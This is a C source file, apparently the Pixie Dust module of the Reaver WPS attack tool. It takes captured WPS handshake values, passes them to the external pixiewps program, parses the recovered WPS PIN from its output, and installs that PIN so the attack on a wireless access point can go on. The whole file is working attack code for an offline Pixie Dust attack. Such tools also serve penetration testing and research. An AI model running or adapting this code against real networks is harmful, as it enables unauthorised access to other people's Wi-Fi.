#include <sys/types.h>
#undef _POSIX_C_SOURCE
#define _POSIX_C_SOURCE 200809L
#include <time.h>
#include <errno.h>
static int msleep(long millisecs) {
struct timespec req, rem;
req.tv_sec = millisecs / 1000;
req.tv_nsec = (millisecs % 1000) * 1000 * 1000;
int ret;
while((ret = nanosleep(&req, &rem)) == -1 && errno == EINTR) req = rem;
return ret;
}
#include "pixie.h"
#include "globule.h"
#include "send.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
struct pixie pixie = {0};
void pixie_format(const unsigned char *in, unsigned len, char *outbuf) {
unsigned i;
char *out = outbuf;
for(i = 0; i < len; i++, out+=2) {
sprintf(out, "%02x", in[i]);
}
if(i) *out = 0;
}
#define PIXIE_SUCCESS "[+] WPS pin:"
static int pixie_run(char *pixiecmd, char *pinbuf, size_t *pinlen) {
int ret = 0;
FILE *pr = popen(pixiecmd, "r");
if(pr) {
char buf[1024], *p;
while(fgets(buf, sizeof buf, pr)) {
printf("%s", buf);
if(ret) continue;
p = buf;
while(isspace(*p))++p;
if(!strncmp(p, PIXIE_SUCCESS, sizeof(PIXIE_SUCCESS)-1)) {
ret = 1;
char *pin = p + sizeof(PIXIE_SUCCESS)-1;
while(isspace(*pin))++pin;
if(!strncmp(pin, "<empty>", 7)) {
*pinlen = 0;
*pinbuf = 0;
} else {
char *q = strchr(pin, '\n');
if(q) *q = 0;
else {
fprintf(stderr, "oops1\n");
ret = 0;
}
size_t pl = strlen(pin);
if(pl < *pinlen) {
memcpy(pinbuf, pin, pl+1);
*pinlen = pl;
} else {
fprintf(stderr, "oops2\n");
ret = 0;
}
}
}
}
pclose(pr);
}
return ret;
}
static struct pixie_thread_data {
char cmd[4096];
char pinbuf[64];
size_t pinlen;
} ptd;
static volatile int thread_done;
static int timeout_hit;
static void* pixie_thread(void *data) {
unsigned long ret = pixie_run(ptd.cmd, ptd.pinbuf, &ptd.pinlen);
thread_done = 1;
return (void*)ret;
}
#include <pthread.h>
static int pixie_run_thread(void *ptr) {
/* to prevent from race conditions with 2 threads accessing stdout */
cprintf_mute();
pthread_t pt;
if(pthread_create(&pt, 0, pixie_thread, ptr) != 0) {
cprintf(INFO, "[-] error creating pixie thread\n");
return pixie_run(ptd.cmd, ptd.pinbuf, &ptd.pinlen);
}
unsigned long long us_passed = 0,
timeout_usec = get_rx_timeout() * 1000000LL;
while(!thread_done) {
us_passed += 2000;
if(!timeout_hit && (us_passed >= timeout_usec)) {
timeout_hit = 1;
send_wsc_nack(); /* sending silent nack */
}
msleep(2);
}
void *thread_ret;
pthread_join(pt, &thread_ret);
cprintf_unmute();
return (unsigned long)thread_ret;
}
extern void update_wpc_from_pin(void);
void pixie_attack(void) {
struct wps_data *wps = get_wps();
struct pixie *p = &pixie;
int dh_small = get_dh_small();
if(p->do_pixie) {
char uptime_str[64];
snprintf(uptime_str, sizeof(uptime_str), "-u %llu ",
(unsigned long long) globule->uptime);
snprintf(ptd.cmd, sizeof (ptd.cmd),
"pixiewps %s-e %s -s %s -z %s -a %s -n %s %s %s",
(p->use_uptime ? uptime_str : ""),
p->pke, p->ehash1, p->ehash2, p->authkey, p->enonce,
dh_small ? "-S" : "-r" , dh_small ? "" : p->pkr);
printf("executing %s\n", ptd.cmd);
ptd.pinlen = 64;
ptd.pinbuf[0] = 0;
if(pixie_run_thread(&ptd)) {
cprintf(INFO, "[+] Pixiewps: success: setting pin to %s\n", ptd.pinbuf);
set_pin(ptd.pinbuf);
if(timeout_hit) {
cprintf(VERBOSE, "[+] Pixiewps timeout hit, sent WSC NACK\n");
cprintf(INFO, "[+] Pixiewps timeout, exiting. Send pin with -p\n");
update_wpc_from_pin();
exit(0);
}
free(wps->dev_password);
wps->dev_password = malloc(ptd.pinlen+1);
memcpy(wps->dev_password, ptd.pinbuf, ptd.pinlen+1);
wps->dev_password_len = ptd.pinlen;
} else {
cprintf(INFO, "[-] Pixiewps fail, sending WPS NACK\n");
send_wsc_nack();
exit(1);
}
}
PIXIE_FREE(authkey);
PIXIE_FREE(pkr);
PIXIE_FREE(pke);
PIXIE_FREE(enonce);
PIXIE_FREE(ehash1);
PIXIE_FREE(ehash2);
}